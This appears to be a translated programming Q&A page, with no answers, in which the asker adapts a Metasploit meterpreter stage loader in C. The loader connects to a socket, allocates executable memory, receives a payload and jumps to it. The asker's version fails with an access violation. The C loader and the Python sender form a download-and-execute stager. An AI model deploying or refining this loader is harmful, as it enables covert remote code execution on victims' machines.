从C中的缓冲区加载正在运行的exe文件

时间:2016-12-30 23:25:09

标签: c exe function-pointers winsock2

我想从exe file检索socket并从C中的缓冲区直接运行。我在loader中发现这个小github,它被写入加载meterpreter

https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c

据我所知,它的工作原理如下:

  1. 它获取exe文件的大小并分配大小为+ 5的缓冲区。

  2. 然后使用套接字下载文件并将其保存在缓冲区中。

  3. 并将缓冲区强制转换为指向函数的指针,并简单地调用该函数。

  4. 这就是来自高抽象的东西。虽然我不确切知道buffer[0] = 0xBF;实际上做了什么。

    我尝试更改代码以运行我的exe文件(其余功能与原始代码完全相同):

    //receive the agent data 
    int recv_all(SOCKET my_socket, void* buffer, int len) {
        int    tret   = 0;
        int    nret   = 0;
        char* startb = (char *) buffer;
        while (tret < len) {
            nret = recv(my_socket, (char *)startb, len - tret, 0);
            if (nret == SOCKET_ERROR)
                punt(my_socket, "Could not receive data");
            startb += nret;
            tret   += nret;
        }
        return tret; // length of received Data 
    }
    
    int main(int argc, char *argv[]){
    
        char host[] = "localhost";
        int port = 4444;
        int count;
        ULONG32 size = 624128;  //size of my file hard coded
        char *buffer;
        void (* function)();
        SOCKET my_socket;
        winsock_init();
        my_socket = wsconnect(host, port);
        buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (buffer == NULL){
            punt(my_socket, "could not allocate buffer");
        }
        buffer[0] = 0xBF;
        memcpy(buffer + 1, &my_socket, 4);
        count = recv_all(my_socket, buffer + 5, size);
        function = (void (*)())buffer;
        function();
        return 0;
    }
    

    正如您所看到的,我刚刚用字节硬编码了文件的大小。

    以下是我发送文件的方式:

    f = open("my_file.exe", "rb")
    l = f.read(1024)
    while(l):
        c.send(l)
        l = f.read(1024)
    f.close()
    

    但是在运行C代码后,我得到了“访问冲突”:

    Unhandled exception at 0x0069000C in laoder.exe: 0xC0000005: Access violation writing location 0x00D20000.
    

    我很感激为何会出现这种情况以及我做错了什么。

0 个答案:

没有答案